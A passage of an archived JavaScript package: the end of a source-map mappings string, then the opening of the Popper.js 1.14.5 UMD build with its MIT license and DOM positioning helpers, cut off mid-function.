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"}umd/popper.js000064400000253747151677356750007244 0ustar00/**!
 * @fileOverview Kickass library to create and place poppers near their reference elements.
 * @version 1.14.5
 * @license
 * Copyright (c) 2016 Federico Zivolo and contributors
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in all
 * copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
 * SOFTWARE.
 */
(function (global, factory) {
	typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() :
	typeof define === 'function' && define.amd ? define(factory) :
	(global.Popper = factory());
}(this, (function () { 'use strict';

var isBrowser = typeof window !== 'undefined' && typeof document !== 'undefined';

var longerTimeoutBrowsers = ['Edge', 'Trident', 'Firefox'];
var timeoutDuration = 0;
for (var i = 0; i < longerTimeoutBrowsers.length; i += 1) {
  if (isBrowser && navigator.userAgent.indexOf(longerTimeoutBrowsers[i]) >= 0) {
    timeoutDuration = 1;
    break;
  }
}

function microtaskDebounce(fn) {
  var called = false;
  return function () {
    if (called) {
      return;
    }
    called = true;
    window.Promise.resolve().then(function () {
      called = false;
      fn();
    });
  };
}

function taskDebounce(fn) {
  var scheduled = false;
  return function () {
    if (!scheduled) {
      scheduled = true;
      setTimeout(function () {
        scheduled = false;
        fn();
      }, timeoutDuration);
    }
  };
}

var supportsMicroTasks = isBrowser && window.Promise;

/**
* Create a debounced version of a method, that's asynchronously deferred
* but called in the minimum time possible.
*
* @method
* @memberof Popper.Utils
* @argument {Function} fn
* @returns {Function}
*/
var debounce = supportsMicroTasks ? microtaskDebounce : taskDebounce;

/**
 * Check if the given variable is a function
 * @method
 * @memberof Popper.Utils
 * @argument {Any} functionToCheck - variable to check
 * @returns {Boolean} answer to: is a function?
 */
function isFunction(functionToCheck) {
  var getType = {};
  return functionToCheck && getType.toString.call(functionToCheck) === '[object Function]';
}

/**
 * Get CSS computed property of the given element
 * @method
 * @memberof Popper.Utils
 * @argument {Eement} element
 * @argument {String} property
 */
function getStyleComputedProperty(element, property) {
  if (element.nodeType !== 1) {
    return [];
  }
  // NOTE: 1 DOM access here
  var window = element.ownerDocument.defaultView;
  var css = window.getComputedStyle(element, null);
  return property ? css[property] : css;
}

/**
 * Returns the parentNode or the host of the element
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @returns {Element} parent
 */
function getParentNode(element) {
  if (element.nodeName === 'HTML') {
    return element;
  }
  return element.parentNode || element.host;
}

/**
 * Returns the scrolling parent of the given element
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @returns {Element} scroll parent
 */
function getScrollParent(element) {
  // Return body, `getScroll` will take care to get the correct `scrollTop` from it
  if (!element) {
    return document.body;
  }

  switch (element.nodeName) {
    case 'HTML':
    case 'BODY':
      return element.ownerDocument.body;
    case '#document':
      return element.body;
  }

  // Firefox want us to check `-x` and `-y` variations as well

  var _getStyleComputedProp = getStyleComputedProperty(element),
      overflow = _getStyleComputedProp.overflow,
      overflowX = _getStyleComputedProp.overflowX,
      overflowY = _getStyleComputedProp.overflowY;

  if (/(auto|scroll|overlay)/.test(overflow + overflowY + overflowX)) {
    return element;
  }

  return getScrollParent(getParentNode(element));
}

var isIE11 = isBrowser && !!(window.MSInputMethodContext && document.documentMode);
var isIE10 = isBrowser && /MSIE 10/.test(navigator.userAgent);

/**
 * Determines if the browser is Internet Explorer
 * @method
 * @memberof Popper.Utils
 * @param {Number} version to check
 * @returns {Boolean} isIE
 */
function isIE(version) {
  if (version === 11) {
    return isIE11;
  }
  if (version === 10) {
    return isIE10;
  }
  return isIE11 || isIE10;
}

/**
 * Returns the offset parent of the given element
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @returns {Element} offset parent
 */
function getOffsetParent(element) {
  if (!element) {
    return document.documentElement;
  }

  var noOffsetParent = isIE(10) ? document.body : null;

  // NOTE: 1 DOM access here
  var offsetParent = element.offsetParent || null;
  // Skip hidden elements which don't have an offsetParent
  while (offsetParent === noOffsetParent && element.nextElementSibling) {
    offsetParent = (element = element.nextElementSibling).offsetParent;
  }

  var nodeName = offsetParent && offsetParent.nodeName;

  if (!nodeName || nodeName === 'BODY' || nodeName === 'HTML') {
    return element ? element.ownerDocument.documentElement : document.documentElement;
  }

  // .offsetParent will return the closest TH, TD or TABLE in case
  // no offsetParent is present, I hate this job...
  if (['TH', 'TD', 'TABLE'].indexOf(offsetParent.nodeName) !== -1 && getStyleComputedProperty(offsetParent, 'position') === 'static') {
    return getOffsetParent(offsetParent);
  }

  return offsetParent;
}

function isOffsetContainer(element) {
  var nodeName = element.nodeName;

  if (nodeName === 'BODY') {
    return false;
  }
  return nodeName === 'HTML' || getOffsetParent(element.firstElementChild) === element;
}

/**
 * Finds the root node (document, shadowDOM root) of the given element
 * @method
 * @memberof Popper.Utils
 * @argument {Element} node
 * @returns {Element} root node
 */
function getRoot(node) {
  if (node.parentNode !== null) {
    return getRoot(node.parentNode);
  }

  return node;
}

/**
 * Finds the offset parent common to the two provided nodes
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element1
 * @argument {Element} element2
 * @returns {Element} common offset parent
 */
function findCommonOffsetParent(element1, element2) {
  // This check is needed to avoid errors in case one of the elements isn't defined for any reason
  if (!element1 || !element1.nodeType || !element2 || !element2.nodeType) {
    return document.documentElement;
  }

  // Here we make sure to give as "start" the element that comes first in the DOM
  var order = element1.compareDocumentPosition(element2) & Node.DOCUMENT_POSITION_FOLLOWING;
  var start = order ? element1 : element2;
  var end = order ? element2 : element1;

  // Get common ancestor container
  var range = document.createRange();
  range.setStart(start, 0);
  range.setEnd(end, 0);
  var commonAncestorContainer = range.commonAncestorContainer;

  // Both nodes are inside #document

  if (element1 !== commonAncestorContainer && element2 !== commonAncestorContainer || start.contains(end)) {
    if (isOffsetContainer(commonAncestorContainer)) {
      return commonAncestorContainer;
    }

    return getOffsetParent(commonAncestorContainer);
  }

  // one of the nodes is inside shadowDOM, find which one
  var element1root = getRoot(element1);
  if (element1root.host) {
    return findCommonOffsetParent(element1root.host, element2);
  } else {
    return findCommonOffsetParent(element1, getRoot(element2).host);
  }
}

/**
 * Gets the scroll value of the given element in the given side (top and left)
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @argument {String} side `top` or `left`
 * @returns {number} amount of scrolled pixels
 */
function getScroll(element) {
  var side = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'top';

  var upperSide = side === 'top' ? 'scrollTop' : 'scrollLeft';
  var nodeName = element.nodeName;

  if (nodeName === 'BODY' || nodeName === 'HTML') {
    var html = element.ownerDocument.documentElement;
    var scrollingElement = element.ownerDocument.scrollingElement || html;
    return scrollingElement[upperSide];
  }

  return element[upperSide];
}

/*
 * Sum or subtract the element scroll values (left and top) from a given rect object
 * @method
 * @memberof Popper.Utils
 * @param {Object} rect - Rect object you want to change
 * @param {HTMLElement} element - The element from the function reads the scroll values
 * @param {Boolean} subtract - set to true if you want to subtract the scroll values
 * @return {Object} rect - The modifier rect object
 */
function includeScroll(rect, element) {
  var subtract = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false;

  var scrollTop = getScroll(element, 'top');
  var scrollLeft = getScroll(element, 'left');
  var modifier = subtract ? -1 : 1;
  rect.top += scrollTop * modifier;
  rect.bottom += scrollTop * modifier;
  rect.left += scrollLeft * modifier;
  rect.right += scrollLeft * modifier;
  return rect;
}

/*
 * Helper to detect borders of a given element
 * @method
 * @memberof Popper.Utils
 * @param {CSSStyleDeclaration} styles
 * Result of `getStyleComputedProperty` on the given element
 * @param {String} axis - `x` or `y`
 * @return {number} borders - The borders size of the given axis
 */

function getBordersSize(styles, axis) {
  var sideA = axis === 'x' ? 'Left' : 'Top';
  var sideB = sideA === 'Left' ? 'Right' : 'Bottom';

  return parseFloat(styles['border' + sideA + 'Width'], 10) + parseFloat(styles['border' + sideB + 'Width'], 10);
}

function getSize(axis, body, html, computedStyle) {
  return Math.max(body['offset' + axis], body['scroll' + axis], html['client' + axis], html['offset' + axis], html['scroll' + axis], isIE(10) ? parseInt(html['offset' + axis]) + parseInt(computedStyle['margin' + (axis === 'Height' ? 'Top' : 'Left')]) + parseInt(computedStyle['margin' + (axis === 'Height' ? 'Bottom' : 'Right')]) : 0);
}

function getWindowSizes(document) {
  var body = document.body;
  var html = document.documentElement;
  var computedStyle = isIE(10) && getComputedStyle(html);

  return {
    height: getSize('Height', body, html, computedStyle),
    width: getSize('Width', body, html, computedStyle)
  };
}

var classCallCheck = function (instance, Constructor) {
  if (!(instance instanceof Constructor)) {
    throw new TypeError("Cannot call a class as a function");
  }
};

var createClass = function () {
  function defineProperties(target, props) {
    for (var i = 0; i < props.length; i++) {
      var descriptor = props[i];
      descriptor.enumerable = descriptor.enumerable || false;
      descriptor.configurable = true;
      if ("value" in descriptor) descriptor.writable = true;
      Object.defineProperty(target, descriptor.key, descriptor);
    }
  }

  return function (Constructor, protoProps, staticProps) {
    if (protoProps) defineProperties(Constructor.prototype, protoProps);
    if (staticProps) defineProperties(Constructor, staticProps);
    return Constructor;
  };
}();





var defineProperty = function (obj, key, value) {
  if (key in obj) {
    Object.defineProperty(obj, key, {
      value: value,
      enumerable: true,
      configurable: true,
      writable: true
    });
  } else {
    obj[key] = value;
  }

  return obj;
};

var _extends = Object.assign || function (target) {
  for (var i = 1; i < arguments.length; i++) {
    var source = arguments[i];

    for (var key in source) {
      if (Object.prototype.hasOwnProperty.call(source, key)) {
        target[key] = source[key];
      }
    }
  }

  return target;
};

/**
 * Given element offsets, generate an output similar to getBoundingClientRect
 * @method
 * @memberof Popper.Utils
 * @argument {Object} offsets
 * @returns {Object} ClientRect like output
 */
function getClientRect(offsets) {
  return _extends({}, offsets, {
    right: offsets.left + offsets.width,
    bottom: offsets.top + offsets.height
  });
}

/**
 * Get bounding client rect of given element
 * @method
 * @memberof Popper.Utils
 * @param {HTMLElement} element
 * @return {Object} client rect
 */
function getBoundingClientRect(element) {
  var rect = {};

  // IE10 10 FIX: Please, don't ask, the element isn't
  // considered in DOM in some circumstances...
  // This isn't reproducible in IE10 compatibility mode of IE11
  try {
    if (isIE(10)) {
      rect = element.getBoundingClientRect();
      var scrollTop = getScroll(element, 'top');
      var scrollLeft = getScroll(element, 'left');
      rect.top += scrollTop;
      rect.left += scrollLeft;
      rect.bottom += scrollTop;
      rect.right += scrollLeft;
    } else {
      rect = element.getBoundingClientRect();
    }
  } catch (e) {}

  var result = {
    left: rect.left,
    top: rect.top,
    width: rect.right - rect.left,
    height: rect.bottom - rect.top
  };

  // subtract scrollbar size from sizes
  var sizes = element.nodeName === 'HTML' ? getWindowSizes(element.ownerDocument) : {};
  var width = sizes.width || element.clientWidth || result.right - result.left;
  var height = sizes.height || element.clientHeight || result.bottom - result.top;

  var horizScrollbar = element.offsetWidth - width;
  var vertScrollbar = element.offsetHeight - height;

  // if an hypothetical scrollbar is detected, we must be sure it's not a `border`
  // we make this check conditional for performance reasons
  if (horizScrollbar || vertScrollbar) {
